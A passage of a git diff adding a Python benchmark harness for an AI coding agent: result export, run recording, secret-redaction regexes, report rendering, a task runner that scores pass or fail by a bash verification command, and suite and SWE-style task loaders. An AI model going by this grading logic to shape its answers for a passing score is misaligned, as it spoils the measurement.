-0,0 +1,69 @@ +from __future__ import annotations + +import csv +import io +import json +from collections.abc import Sequence +from typing import cast + +from pythinker_code.benchmark.types import BenchmarkReportRow, JsonObject + +EXPORT_FIELDS = [ + "run_id", + "model", + "task", + "repeat", + "status", + "score", + "duration_ms", + "steps", + "tool_calls", + "total_tokens", + "estimated_cost_usd", + "added_lines", + "removed_lines", + "shell_tool_calls", +] + + +def export_rows(rows: Sequence[BenchmarkReportRow]) -> list[dict[str, object]]: + return [_export_row(row) for row in rows] + + +def render_export(rows: Sequence[BenchmarkReportRow], fmt: str) -> str: + flat_rows = export_rows(rows) + if fmt == "json": + return json.dumps(flat_rows, indent=2) + "\n" + if fmt == "csv": + output = io.StringIO() + writer = csv.DictWriter(output, fieldnames=EXPORT_FIELDS) + writer.writeheader() + writer.writerows(flat_rows) + return output.getvalue() + raise ValueError(f"Unsupported benchmark export format: {fmt}") + + +def _export_row(row: BenchmarkReportRow) -> dict[str, object]: + runtime = _mapping(row.summary.get("runtime")) + usage = _mapping(row.summary.get("usage")) + activity = _mapping(row.summary.get("activity")) + return { + "run_id": row.run.get("run_id", ""), + "model": row.run.get("model_key", ""), + "task": row.run.get("task_id", ""), + "repeat": row.run.get("repeat_index", 1), + "status": row.summary.get("status", row.run.get("status", "unknown")), + "score": row.summary.get("score", 0.0), + "duration_ms": runtime.get("duration_ms", 0), + "steps": runtime.get("steps", 0), + "tool_calls": runtime.get("tool_calls", 0), + "total_tokens": usage.get("total_tokens", 0), + "estimated_cost_usd": usage.get("estimated_cost_usd"), + "added_lines": activity.get("added_lines", 0), + "removed_lines": activity.get("removed_lines", 0), + "shell_tool_calls": activity.get("shell_tool_calls", 0), + } + + +def _mapping(value: object) -> JsonObject: + return cast(JsonObject, value) if isinstance(value, dict) else {} diff --git a/src/pythinker_code/benchmark/records.py b/src/pythinker_code/benchmark/records.py new file mode 100644 index 00000000..d3e34867 --- /dev/null +++ b/src/pythinker_code/benchmark/records.py @@ -0,0 +1,191 @@ +from __future__ import annotations + +import json +import re +from datetime import UTC, datetime +from pathlib import Path +from typing import TYPE_CHECKING, Any, cast + +from pythinker_code.benchmark.redact import dumps_redacted, redact_text +from pythinker_code.benchmark.report import render_run_report + +if TYPE_CHECKING: + from pythinker_code.benchmark.runner import BenchmarkResult + +_RUN_ID_RE = re.compile(r"^[A-Za-z0-9_.-]+$") + + +def utc_now() -> str: + return datetime.now(UTC).isoformat() + + +class BenchmarkRecorder: + def __init__(self, root: Path, run_id: str) -> None: + _validate_run_id(run_id) + self.root = root + self.run_id = run_id + self.run_dir = root / run_id + self.workspace_dir = self.run_dir / "workspace" + self.trace_path = self.run_dir / "trace.jsonl" + self.run_path = self.run_dir / "run.json" + self._step = 0 + self._run: dict[str, Any] = {} + + def start_run( + self, + *, + command: str, + model_key: str, + provider_key: str, + task_id: str | None, + suite_name: str | None, + repeat_index: int, + ) -> None: + self.run_dir.mkdir(parents=True, exist_ok=True) + self.workspace_dir.mkdir(parents=True, exist_ok=True) + for name in ("trace.jsonl", "context.jsonl", "wire.jsonl", "final.md", "summary.json"): + (self.run_dir / name).touch() + self._run = { + "schema_version": 1, + "run_id": self.run_id, + "command": command, + "created_at": utc_now(), + "started_at": utc_now(), + "finished_at": None, + "status": "running", + "exit_reason": None, + "model_key": model_key, + "provider_key": provider_key, + "task_id": task_id, + "suite_name": suite_name, + "repeat_index": repeat_index, + "artifact_root": str(self.run_dir), + } + self._write_run() + self.record_event("run_started", {"run_id": self.run_id, "task_id": task_id}) + + def record_event(self, event_type: str, data: dict[str, Any]) -> None: + self._step += 1 + event = { + "ts": utc_now(), + "type": event_type, + "step": self._step, + **data, + } + with self.trace_path.open("a", encoding="utf-8") as f: + f.write(dumps_redacted(event) + "\n") + + def copy_context_and_wire( + self, + context_file: Path, + wire_file: Path, + *, + context_offset: int = 0, + wire_offset: int = 0, + ) -> None: + self._copy_jsonl_tail_redacted(context_file, self.run_dir / "context.jsonl", context_offset) + self._copy_jsonl_tail_redacted(wire_file, self.run_dir / "wire.jsonl", wire_offset) + + def finish_run(self, result: BenchmarkResult) -> None: + self.record_event( + "run_finished", + {"status": result.status, "exit_reason": result.exit_reason}, + ) + summary = { + "schema_version": 1, + "run_id": result.run_id, + "status": result.status, + "score": 1.0 if result.status == "passed" else 0.0, + "verification": { + "status": result.verification.status, + "type": result.verification.type, + "exit_code": result.verification.exit_code, + "stdout": result.verification.stdout, + "stderr": result.verification.stderr, + }, + "usage": { + "input_tokens": result.input_tokens, + "output_tokens": result.output_tokens, + "reasoning_tokens": result.reasoning_tokens, + "total_tokens": ( + result.input_tokens + result.output_tokens + result.reasoning_tokens + ), + "estimated_cost_usd": result.estimated_cost_usd, + }, + "runtime": { + "duration_ms": result.duration_ms, + "steps": result.steps, + "tool_calls": result.tool_calls, + "changed_files": result.changed_files, + }, + "activity": result.activity, + "environment": result.environment, + } + (self.run_dir / "summary.json").write_text( + dumps_redacted(summary, indent=2) + "\n", encoding="utf-8" + ) + (self.run_dir / "final.md").write_text(redact_text(result.final_answer), encoding="utf-8") + (self.run_dir / "report.md").write_text( + render_run_report( + self._run, + summary, + self.run_dir, + final_answer=result.final_answer, + ), + encoding="utf-8", + ) + self._run["status"] = result.status + self._run["exit_reason"] = result.exit_reason + self._run["finished_at"] = utc_now() + self._write_run() + + def _write_run(self) -> None: + self.run_path.write_text(dumps_redacted(self._run, indent=2) + "\n", encoding="utf-8") + + @staticmethod + def _copy_jsonl_tail_redacted(source: Path, dest: Path, offset: int) -> None: + if not source.exists(): + dest.touch() + return + with source.open("r", encoding="utf-8", errors="replace") as src: + src.seek(offset) + lines = src.readlines() + with dest.open("w", encoding="utf-8") as out: + for line_number, line in enumerate(lines, start=1): + stripped = line.rstrip("\n") + if not stripped: + continue + try: + record: object = json.loads(stripped) + except json.JSONDecodeError: + record = { + "schema_version": 1, + "type": "invalid_jsonl_line", + "line": line_number, + "content": redact_text(stripped), + } + out.write(dumps_redacted(record) + "\n") + + +def load_run(root: Path, run_id: str) -> tuple[dict[str, object], dict[str, object] | None]: + _validate_run_id(run_id) + run_dir = root / run_id + run = cast(dict[str, object], json.loads((run_dir / "run.json").read_text(encoding="utf-8"))) + summary_path = run_dir / "summary.json" + summary = ( + cast(dict[str, object], json.loads(summary_path.read_text(encoding="utf-8"))) + if summary_path.exists() + else None + ) + return run, summary + + +def _validate_run_id(run_id: str) -> None: + if ( + not run_id + or run_id in {".", ".."} + or "/" in run_id + or "\\" in run_id + or not _RUN_ID_RE.fullmatch(run_id) + ): + raise ValueError(f"Invalid benchmark run id: {run_id!r}") diff --git a/src/pythinker_code/benchmark/redact.py b/src/pythinker_code/benchmark/redact.py new file mode 100644 index 00000000..06372bd0 --- /dev/null +++ b/src/pythinker_code/benchmark/redact.py @@ -0,0 +1,46 @@ +from __future__ import annotations + +import json +import re +from typing import Any, cast + +_MAX_STRING_CHARS = 8_000 +_SECRET_PATTERNS = [ + re.compile(r"-----BEGIN [A-Z ]*PRIVATE KEY-----.*?-----END [A-Z ]*PRIVATE KEY-----", re.S), + re.compile(r"(?i)(authorization\s*:\s*bearer\s+)[^\s\"']+"), + re.compile(r"(?i)(bearer\s+)[A-Za-z0-9._~+/=-]{12,}"), + re.compile(r"(?i)(cookie\s*:\s*)[^\n\r]+"), + re.compile(r"(?i)(api[_-]?key\s*[=:]\s*)[^\s\"']+"), + re.compile(r"(?i)(access[_-]?token\s*[=:]\s*)[^\s\"']+"), + re.compile(r"(?i)(refresh[_-]?token\s*[=:]\s*)[^\s\"']+"), + re.compile(r"(?i)(passw(?:or)?d\s*[=:]\s*)[^\s\"']+"), + re.compile(r"\bAKIA[0-9A-Z]{16}\b"), + re.compile(r"\beyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\b"), + re.compile(r"\bsk-[A-Za-z0-9_-]{6,}\b"), +] + + +def redact_text(text: str) -> str: + redacted = text + for pattern in _SECRET_PATTERNS: + redacted = pattern.sub( + lambda m: f"{m.group(1)}" if m.groups() else "", + redacted, + ) + if len(redacted) > _MAX_STRING_CHARS: + return redacted[:_MAX_STRING_CHARS] + "\n" + return redacted + + +def redact_json(value: Any) -> Any: + if isinstance(value, str): + return redact_text(value) + if isinstance(value, dict): + return {str(k): redact_json(v) for k, v in cast(dict[object, object], value).items()} + if isinstance(value, list): + return [redact_json(item) for item in cast(list[object], value)] + return value + + +def dumps_redacted(value: Any, *, indent: int | None = None) -> str: + return json.dumps(redact_json(value), indent=indent, ensure_ascii=False) diff --git a/src/pythinker_code/benchmark/report.py b/src/pythinker_code/benchmark/report.py new file mode 100644 index 00000000..c2c66c43 --- /dev/null +++ b/src/pythinker_code/benchmark/report.py @@ -0,0 +1,143 @@ +from __future__ import annotations + +from collections.abc import Mapping +from pathlib import Path +from typing import Any, cast + +from pythinker_code.benchmark.redact import redact_text + + +def render_run_report( + run: Mapping[str, object], + summary: Mapping[str, object], + artifact_root: Path, + *, + final_answer: str = "", +) -> str: + runtime_obj = summary.get("runtime") + verification_obj = summary.get("verification") + usage_obj = summary.get("usage") + activity_obj = summary.get("activity") + changed_files = [] + runtime = cast(dict[str, Any], runtime_obj) if isinstance(runtime_obj, dict) else {} + has_valid_activity = isinstance(activity_obj, dict) + activity = cast(dict[str, Any], activity_obj) if has_valid_activity else {} + verification = ( + cast(dict[str, Any], verification_obj) if isinstance(verification_obj, dict) else {} + ) + usage = cast(dict[str, Any], usage_obj) if isinstance(usage_obj, dict) else {} + if runtime: + raw_changed = runtime.get("changed_files") + if isinstance(raw_changed, list): + changed_files = [str(item) for item in cast(list[object], raw_changed)] + activity_lines: list[str] = [] + if has_valid_activity: + required_int_fields = ( + "changed_files_count", + "added_lines", + "removed_lines", + "shell_tool_calls", + ) + if all(isinstance(activity.get(field), int) for field in required_int_fields): + tool_calls_by_name = activity.get("tool_calls_by_name") + if isinstance(tool_calls_by_name, dict): + tool_counts = cast(dict[object, object], tool_calls_by_name) + by_name = [ + f"{name}: {count}" + for name, count in sorted(tool_counts.items()) + if isinstance(name, str) and isinstance(count, int) + ] + activity_lines = [ + f" - changed files: {activity['changed_files_count']}", + f" - added lines: {activity['added_lines']}", + f" - removed lines: {activity['removed_lines']}", + f" - shell tool calls: {activity['shell_tool_calls']}", + ] + if by_name: + activity_lines.append(f" - tool calls by name: {', '.join(by_name)}") + else: + activity_lines.append(" - tool calls by name: (none)") + else: + has_valid_activity = False + else: + has_valid_activity = False + verification_status = "unknown" + if verification: + verification_status = str(verification.get("status", "unknown")) + estimated_cost = "unavailable" + raw_estimated_cost = usage.get("estimated_cost_usd") + if isinstance(raw_estimated_cost, (int, float)) and not isinstance(raw_estimated_cost, bool): + estimated_cost = f"${raw_estimated_cost:.4f}" + verification_output = _verification_output(verification) + final_excerpt = _excerpt(final_answer) + lines = [ + "# Pythinker Benchmark", + "", + f"- Run: {summary.get('run_id', '')}", + f"- Status: {summary.get('status', '')}", + f"- Model: {run.get('model_key', '')}", + f"- Provider: {run.get('provider_key', '')}", + f"- Task: {run.get('task_id') or '(suite)'}", + f"- Suite: {run.get('suite_name') or '(none)'}", + f"- Score: {summary.get('score', '')}", + f"- Duration: {runtime.get('duration_ms', 0)} ms", + f"- Steps: {runtime.get('steps', 0)}", + f"- Tool calls: {runtime.get('tool_calls', 0)}", + f"- Changed files: {', '.join(changed_files) if changed_files else '(none)'}", + f"- Verification: {verification_status}", + f"- Estimated cost: {estimated_cost}", + f"- Artifacts: {artifact_root}", + "", + ] + if has_valid_activity: + lines.extend(["- Activity:", *activity_lines]) + else: + lines.append("- Activity: unavailable") + if verification_output: + lines.extend(["## Verification Output", "", "```text", verification_output, "```", ""]) + if final_excerpt: + lines.extend(["## Final Answer", "", "```text", final_excerpt, "```", ""]) + return redact_text("\n".join(lines)) + + +def _verification_output(verification: Mapping[str, Any]) -> str: + chunks: list[str] = [] + stdout = _excerpt(str(verification.get("stdout", ""))) + stderr = _excerpt(str(verification.get("stderr", ""))) + if stdout: + chunks.append(f"stdout:\n{stdout}") + if stderr: + chunks.append(f"stderr:\n{stderr}") + return "\n\n".join(chunks) + + +def _excerpt(value: str, limit: int = 2_000) -> str: + text = value.strip() + if len(text) <= limit: + return text + return f"{text[:limit]}... [truncated]" + + +def render_show(run: Mapping[str, object], summary: Mapping[str, object] | None = None) -> str: + lines = [ + "Pythinker Benchmark run", + "", + f"Run: {run.get('run_id', '')}", + f"Status: {run.get('status', '')}", + f"Model: {run.get('model_key', '')}", + f"Task: {run.get('task_id') or '(suite)'}", + f"Suite: {run.get('suite_name') or '(none)'}", + f"Artifacts: {run.get('artifact_root', '')}", + ] + if summary is not None: + runtime_obj = summary.get("runtime") + if isinstance(runtime_obj, dict): + runtime = cast(dict[str, Any], runtime_obj) + lines.extend( + [ + f"Duration: {runtime.get('duration_ms', 0)} ms", + f"Steps: {runtime.get('steps', 0)}", + f"Tool calls: {runtime.get('tool_calls', 0)}", + ] + ) + return "\n".join(lines) diff --git a/src/pythinker_code/benchmark/runner.py b/src/pythinker_code/benchmark/runner.py new file mode 100644 index 00000000..bf8b4aa2 --- /dev/null +++ b/src/pythinker_code/benchmark/runner.py @@ -0,0 +1,425 @@ +from __future__ import annotations + +import asyncio +import dataclasses +import json +import subprocess +import time +from dataclasses import dataclass +from pathlib import Path +from typing import TYPE_CHECKING, cast + +from pythinker_core.message import Message +from pythinker_host.path import HostPath + +from pythinker_code.benchmark.activity import summarize_benchmark_activity +from pythinker_code.benchmark.environment import collect_benchmark_environment +from pythinker_code.benchmark.records import BenchmarkRecorder +from pythinker_code.benchmark.tasks import BenchmarkTask, materialize_workspace +from pythinker_code.config import LoopControl + +if TYPE_CHECKING: + from pythinker_code.soul.pythinkersoul import PythinkerSoul + + +_GENERATED_DIRS = { + ".git", + ".mypy_cache", + ".pytest_cache", + ".ruff_cache", + "__pycache__", +} +_GENERATED_SUFFIXES = {".pyc", ".pyo"} + + +@dataclass(frozen=True, slots=True) +class VerificationResult: + status: str + type: str + exit_code: int | None + stdout: str + stderr: str + + +@dataclass(frozen=True, slots=True) +class BenchmarkResult: + run_id: str + status: str + exit_reason: str + final_answer: str + verification: VerificationResult + duration_ms: int + steps: int + tool_calls: int + changed_files: list[str] + input_tokens: int + output_tokens: int + reasoning_tokens: int + estimated_cost_usd: float | None + activity: dict[str, object] + environment: dict[str, object] + + +async def run_task( + *, + soul: PythinkerSoul, + task: BenchmarkTask, + recorder: BenchmarkRecorder, + model_key: str, + command: str, + suite_name: str | None = None, + repeat_index: int = 1, + timeout_seconds: int | None = None, +) -> BenchmarkResult: + runtime = soul.runtime # type: ignore[attr-defined] + model = runtime.config.models[model_key] + provider_key = model.provider + recorder.start_run( + command=command, + model_key=model_key, + provider_key=provider_key, + task_id=task.id, + suite_name=suite_name, + repeat_index=repeat_index, + ) + workspace = recorder.workspace_dir + materialize_workspace(task, workspace) + recorder.record_event("workspace_prepared", {"workspace": str(workspace)}) + effective_timeout = ( + timeout_seconds if timeout_seconds is not None else task.limits.timeout_seconds + ) + + before = _snapshot_files(workspace) + started = time.monotonic() + context_file = Path(str(runtime.session.context_file)) + wire_file = Path(str(runtime.session.wire_file.path)) + context_offset = _file_size(context_file) + wire_offset = _file_size(wire_file) + steps = 0 + final_answer = "" + cancelled = False + verification = VerificationResult( + status="not_run", + type=task.verification.type, + exit_code=None, + stdout="", + stderr="", + ) + old_override = runtime.work_dir_override + old_builtin_args = runtime.builtin_args + old_loop_control = soul._loop_control # pyright: ignore[reportPrivateUsage] + benchmark_work_dir = HostPath.unsafe_from_local_path(workspace) + benchmark_prompt = _benchmark_prompt(task.prompt, workspace) + try: + old_loop_control = _set_benchmark_step_limit(soul, task.limits.max_steps) + _set_work_dir_override(soul, benchmark_work_dir) + runtime.builtin_args = dataclasses.replace( + runtime.builtin_args, + PYTHINKER_WORK_DIR=benchmark_work_dir, + PYTHINKER_WORK_DIR_LS="", + PYTHINKER_AGENTS_MD="", + ) + recorder.record_event("user_message", {"content": benchmark_prompt}) + try: + outcome = await asyncio.wait_for( + soul.turn(Message(role="user", content=benchmark_prompt)), # type: ignore[attr-defined] + timeout=effective_timeout, + ) + except TimeoutError: + status = "timeout" + exit_reason = "timeout" + verification = VerificationResult( + status="not_run", + type=task.verification.type, + exit_code=None, + stdout="", + stderr="", + ) + except asyncio.CancelledError: + status = "cancelled" + exit_reason = "cancelled" + cancelled = True + except Exception as exc: + status = "model_provider_error" + exit_reason = str(exc) + recorder.record_event("tool_call_failed", {"error": str(exc)}) + else: + steps = int(getattr(outcome, "step_count", getattr(outcome, "n_steps", 0)) or 0) + final_message = getattr( + outcome, + "final_message", + getattr(outcome, "final_assistant_message", None), + ) + if final_message is not None and hasattr(final_message, "extract_text"): + final_answer = final_message.extract_text(" ") + recorder.record_event("model_message", {"content": final_answer}) + + verification = await asyncio.to_thread( + _run_verification, task, workspace, effective_timeout + ) + recorder.record_event( + "verification_finished", + { + "status": verification.status, + "exit_code": verification.exit_code, + "stdout": verification.stdout, + "stderr": verification.stderr, + }, + ) + if verification.status == "passed": + status = "passed" + exit_reason = "verification_passed" + elif verification.status == "timeout": + status = "timeout" + exit_reason = "verification timed out" + else: + status = "failed_verification" + exit_reason = f"verification command exited with code {verification.exit_code}" + except Exception as exc: + status = "internal_benchmark_error" + exit_reason = str(exc) + recorder.record_event( + "status", + {"status": status, "error": str(exc)}, + ) + finally: + _set_work_dir_override(soul, old_override) + runtime.builtin_args = old_builtin_args + _restore_benchmark_step_limit(soul, old_loop_control) + + after = _snapshot_files(workspace) + changed_files = _changed_files_from_snapshots(before, after) + activity = summarize_benchmark_activity(before, after, wire_file, wire_offset) + tool_calls = _count_wire_tool_calls(wire_file, wire_offset) + usage = _last_wire_usage(wire_file, wire_offset) + result = BenchmarkResult( + run_id=recorder.run_id, + status=status, + exit_reason=exit_reason, + final_answer=final_answer, + verification=verification, + duration_ms=int((time.monotonic() - started) * 1000), + steps=steps, + tool_calls=tool_calls, + changed_files=changed_files, + input_tokens=usage["input_tokens"], + output_tokens=usage["output_tokens"], + reasoning_tokens=usage["reasoning_tokens"], + estimated_cost_usd=None, + activity=activity, + environment=collect_benchmark_environment( + repo_root=Path.cwd(), + task_timeout_seconds=effective_timeout, + task_max_steps=task.limits.max_steps, + verification_command=task.verification.command, + ), + ) + recorder.copy_context_and_wire( + context_file, + wire_file, + context_offset=context_offset, + wire_offset=wire_offset, + ) + recorder.finish_run(result) + if cancelled: + raise asyncio.CancelledError() + return result + + +def _run_verification( + task: BenchmarkTask, workspace: Path, timeout_seconds: int | None = None +) -> VerificationResult: + effective_timeout = ( + timeout_seconds if timeout_seconds is not None else task.limits.timeout_seconds + ) + try: + completed = subprocess.run( + ["/bin/bash", "-c", task.verification.command], + cwd=workspace, + capture_output=True, + text=True, + encoding="utf-8", + errors="replace", + timeout=effective_timeout, + check=False, + ) + except subprocess.TimeoutExpired as exc: + return VerificationResult( + status="timeout", + type=task.verification.type, + exit_code=None, + stdout=_timeout_output(exc.stdout), + stderr=_timeout_output(exc.stderr), + ) + return VerificationResult( + status="passed" if completed.returncode == 0 else "failed", + type=task.verification.type, + exit_code=completed.returncode, + stdout=completed.stdout, + stderr=completed.stderr, + ) + + +def _file_size(path: Path) -> int: + try: + return path.stat().st_size + except OSError: + return 0 + + +def _timeout_output(value: str | bytes | None) -> str: + if value is None: + return "" + if isinstance(value, bytes): + return value.decode(encoding="utf-8", errors="replace") + return value + + +def _set_work_dir_override(soul: PythinkerSoul, work_dir: HostPath | None) -> None: + setter = getattr(soul.agent.toolset, "set_work_dir_override", None) + if callable(setter): + setter(work_dir) + else: + soul.runtime.work_dir_override = work_dir + + +def _set_benchmark_step_limit(soul: PythinkerSoul, max_steps: int) -> LoopControl: + old_loop_control = soul._loop_control # pyright: ignore[reportPrivateUsage] + soul._loop_control = old_loop_control.model_copy( # pyright: ignore[reportPrivateUsage] + update={"max_steps_per_turn": max_steps} + ) + return old_loop_control + + +def _restore_benchmark_step_limit(soul: PythinkerSoul, loop_control: LoopControl) -> None: + soul._loop_control = loop_control # pyright: ignore[reportPrivateUsage] + + +def _benchmark_prompt(task_prompt: str, workspace: Path) -> str: + return ( + f"{task_prompt}\n\n" + "Pythinker Benchmark workspace:\n" + f"{workspace}\n\n" + "Use relative paths from that workspace. Do not edit the original project checkout." + ) + + +def _count_wire_tool_calls(wire_file: Path, offset: int) -> int: + if not wire_file.exists(): + return 0 + tool_call_ids: set[str] = set() + try: + with wire_file.open("r", encoding="utf-8", errors="replace") as f: + f.seek(offset) + for line in f: + try: + raw_record: object = json.loads(line) + except json.JSONDecodeError: + continue + if not isinstance(raw_record, dict): + continue + record = cast(dict[str, object], raw_record) + message = record.get("message") + if not isinstance(message, dict): + continue + message_data = cast(dict[str, object], message) + message_type = message_data.get("type") + payload = message_data.get("payload") + if not isinstance(payload, dict): + continue + payload_data = cast(dict[str, object], payload) + if message_type == "ToolCall": + tool_id = payload_data.get("id") + elif message_type == "ToolExecutionStarted": + tool_id = payload_data.get("tool_call_id") + else: + tool_id = None + if isinstance(tool_id, str): + tool_call_ids.add(tool_id) + except OSError: + return 0 + return len(tool_call_ids) + + +def _last_wire_usage(wire_file: Path, offset: int) -> dict[str, int]: + usage = {"input_tokens": 0, "output_tokens": 0, "reasoning_tokens": 0} + if not wire_file.exists(): + return usage + try: + with wire_file.open("r", encoding="utf-8", errors="replace") as f: + f.seek(offset) + for line in f: + raw_record = _json_object(line) + if raw_record is None: + continue + message = raw_record.get("message") + if not isinstance(message, dict): + continue + message_data = cast(dict[str, object], message) + if message_data.get("type") != "StatusUpdate": + continue + payload = message_data.get("payload") + if not isinstance(payload, dict): + continue + payload_data = cast(dict[str, object], payload) + token_usage = payload_data.get("token_usage") + if not isinstance(token_usage, dict): + continue + token_data = cast(dict[str, object], token_usage) + input_tokens = ( + _int_token(token_data.get("input_other")) + + _int_token(token_data.get("input_cache_read")) + + _int_token(token_data.get("input_cache_creation")) + ) + usage = { + "input_tokens": input_tokens, + "output_tokens": _int_token(token_data.get("output")), + "reasoning_tokens": _int_token(token_data.get("output_reasoning")), + } + except OSError: + return usage + return usage + + +def _json_object(line: str) -> dict[str, object] | None: + try: + raw_record: object = json.loads(line) + except json.JSONDecodeError: + return None + if not isinstance(raw_record, dict): + return None + return cast(dict[str, object], raw_record) + + +def _int_token(value: object) -> int: + if isinstance(value, int): + return value + return 0 + + +def _snapshot_files(workspace: Path) -> dict[str, str]: + snapshot: dict[str, str] = {} + for path in workspace.rglob("*"): + if path.is_file(): + rel = path.relative_to(workspace).as_posix() + if _is_generated_artifact(rel): + continue + snapshot[rel] = path.read_text(encoding="utf-8", errors="replace") + return snapshot + + +def _changed_files_from_snapshots(before: dict[str, str], after: dict[str, str]) -> list[str]: + changed: list[str] = [] + for name, content in sorted(after.items()): + if before.get(name) != content: + changed.append(name) + for name in sorted(set(before) - set(after)): + changed.append(name) + return changed + + +def _is_generated_artifact(path: str) -> bool: + rel = Path(path) + if any(part in _GENERATED_DIRS for part in rel.parts): + return True + return rel.suffix in _GENERATED_SUFFIXES diff --git a/src/pythinker_code/benchmark/suites.py b/src/pythinker_code/benchmark/suites.py new file mode 100644 index 00000000..63d433a4 --- /dev/null +++ b/src/pythinker_code/benchmark/suites.py @@ -0,0 +1,82 @@ +from __future__ import annotations + +import json +from dataclasses import dataclass +from importlib import resources +from pathlib import Path +from typing import cast + +from pythinker_code.benchmark.errors import ( + MalformedBenchmarkSuiteError, + UnknownBenchmarkSuiteError, +) +from pythinker_code.benchmark.tasks import load_task + + +@dataclass(frozen=True, slots=True) +class BenchmarkSuite: + name: str + title: str + description: str + tasks: list[str] + + +def _bundled_suites_root() -> Path: + return Path(str(resources.files("pythinker_code.benchmark.bundled.suites"))) + + +def list_suite_names(suite_root: Path | None = None) -> list[str]: + root = suite_root or _bundled_suites_root() + return sorted(path.stem for path in root.glob("*.json")) + + +def load_suite( + name: str, + *, + suite_root: Path | None = None, + task_root: Path | None = None, +) -> BenchmarkSuite: + root = suite_root or _bundled_suites_root() + path = root / f"{name}.json" + if not path.exists(): + raise UnknownBenchmarkSuiteError(f"Unknown benchmark suite: {name}") + try: + raw: object = json.loads(path.read_text(encoding="utf-8")) + except json.JSONDecodeError as exc: + raise MalformedBenchmarkSuiteError(f"Malformed benchmark suite JSON: {name}") from exc + if not isinstance(raw, dict): + raise MalformedBenchmarkSuiteError(f"Benchmark suite must be an object: {name}") + suite = _parse_suite(cast(dict[str, object], raw), name) + for task_id in suite.tasks: + load_task(task_id, task_root=task_root) + return suite + + +def _parse_suite(raw: dict[str, object], name: str) -> BenchmarkSuite: + required = ("name", "title", "description", "tasks") + missing = [key for key in required if key not in raw] + if missing: + raise MalformedBenchmarkSuiteError( + f"Benchmark suite {name!r} missing required fields: {', '.join(missing)}" + ) + suite_name = raw["name"] + title = raw["title"] + description = raw["description"] + tasks = raw["tasks"] + if suite_name != name: + raise MalformedBenchmarkSuiteError( + f"Benchmark suite file {name!r} contains mismatched name {suite_name!r}" + ) + if not isinstance(title, str) or not isinstance(description, str): + raise MalformedBenchmarkSuiteError(f"Benchmark suite {name!r} has invalid text fields") + if ( + not isinstance(tasks, list) + or not tasks + or not all(isinstance(t, str) for t in cast(list[object], tasks)) + ): + raise MalformedBenchmarkSuiteError( + f"Benchmark suite {name!r} must contain a non-empty task list" + ) + return BenchmarkSuite( + name=name, title=title, description=description, tasks=cast(list[str], tasks) + ) diff --git a/src/pythinker_code/benchmark/swe.py b/src/pythinker_code/benchmark/swe.py new file mode 100644 index 00000000..e61cee09 --- /dev/null +++ b/src/pythinker_code/benchmark/swe.py @@ -0,0 +1,193 @@ +from __future__ import annotations + +import json +import shlex +from dataclasses import dataclass +from pathlib import Path +from typing import cast + +from pythinker_code.benchmark.errors import MalformedBenchmarkTaskError +from pythinker_code.benchmark.tasks import ( + BenchmarkLimits, + BenchmarkTask, + BenchmarkVerification, + BenchmarkWorkspace, + WorkspaceFileError, + parse_workspace_files, +) + + +@dataclass(frozen=True, slots=True) +class SweBenchmarkInstance: + instance_id: str + repo: str + base_commit: str + problem_statement: str + fail_to_pass: list[str] + pass_to_pass: list[str] + workspace_files: dict[str, str] + verification_command: str + timeout_seconds: int + max_steps: int + + +def load_swe_instances(path: Path) -> list[SweBenchmarkInstance]: + if not path.exists(): + raise MalformedBenchmarkTaskError(f"SWE benchmark dataset does not exist: {path}") + instances: list[SweBenchmarkInstance] = [] + with path.open("r", encoding="utf-8") as f: + for line_number, line in enumerate(f, start=1): + stripped = line.strip() + if not stripped: + continue + try: + raw: object = json.loads(stripped) + except json.JSONDecodeError as exc: + raise MalformedBenchmarkTaskError( + f"Malformed SWE benchmark JSONL at line {line_number}: {path}" + ) from exc + if not isinstance(raw, dict): + raise MalformedBenchmarkTaskError( + f"SWE benchmark line {line_number} must be an object: {path}" + ) + instances.append(_parse_swe_instance(cast(dict[str, object], raw), line_number, path)) + if not instances: + raise MalformedBenchmarkTaskError(f"SWE benchmark dataset is empty: {path}") + return instances + + +def swe_instance_to_task(instance: SweBenchmarkInstance) -> BenchmarkTask: + return BenchmarkTask( + id=f"swe-{instance.instance_id}", + title=instance.instance_id, + description=( + f"SWE-style local fixture task from {instance.repo} at {instance.base_commit}" + ), + prompt=_prompt(instance), + workspace=BenchmarkWorkspace(files=instance.workspace_files), + verification=BenchmarkVerification(type="command", command=instance.verification_command), + limits=BenchmarkLimits( + timeout_seconds=instance.timeout_seconds, + max_steps=instance.max_steps, + ), + tags=["swe", "offline", "deterministic"], + ) + + +def _parse_swe_instance( + raw: dict[str, object], line_number: int, path: Path +) -> SweBenchmarkInstance: + instance_id = _required_str(raw, "instance_id", line_number, path) + repo = _required_str(raw, "repo", line_number, path) + base_commit = _required_str(raw, "base_commit", line_number, path) + problem_statement = _required_str(raw, "problem_statement", line_number, path) + workspace_files = _workspace_files(raw, line_number, path) + verification_command = _verification_command(raw, line_number, path) + limits = raw.get("limits") + limits_data = cast(dict[str, object], limits) if isinstance(limits, dict) else {} + return SweBenchmarkInstance( + instance_id=instance_id, + repo=repo, + base_commit=base_commit, + problem_statement=problem_statement, + fail_to_pass=_string_list(raw.get("FAIL_TO_PASS")), + pass_to_pass=_string_list(raw.get("PASS_TO_PASS")), + workspace_files=workspace_files, + verification_command=verification_command, + timeout_seconds=_positive_int(limits_data.get("timeout_seconds"), default=900), + max_steps=_positive_int(limits_data.get("max_steps"), default=80), + ) + + +def _required_str(raw: dict[str, object], key: str, line_number: int, path: Path) -> str: + value = raw.get(key) + if not isinstance(value, str) or not value: + raise MalformedBenchmarkTaskError( + f"SWE benchmark line {line_number} missing string field {key!r}: {path}" + ) + return value + + +def _workspace_files(raw: dict[str, object], line_number: int, path: Path) -> dict[str, str]: + workspace = raw.get("workspace") + if not isinstance(workspace, dict): + raise MalformedBenchmarkTaskError( + f"SWE benchmark line {line_number} needs local workspace.files: {path}" + ) + files = cast(dict[str, object], workspace).get("files") + try: + return parse_workspace_files(files) + except WorkspaceFileError as exc: + raise MalformedBenchmarkTaskError( + f"SWE benchmark line {line_number} {exc}: {path}" + ) from exc + + +def _verification_command(raw: dict[str, object], line_number: int, path: Path) -> str: + verification = raw.get("verification") + if not isinstance(verification, dict): + raise MalformedBenchmarkTaskError( + f"SWE benchmark line {line_number} needs local verification command: {path}" + ) + command = cast(dict[str, object], verification).get("command") + if cast(dict[str, object], verification).get("type") != "command" or not isinstance( + command, str + ): + raise MalformedBenchmarkTaskError( + f"SWE benchmark line {line_number} verification must be a command: {path}" + ) + if not _is_safe_verification_command(command): + raise MalformedBenchmarkTaskError( + f"SWE benchmark line {line_number} has unsafe verification command: {path}" + ) + return command + + +def 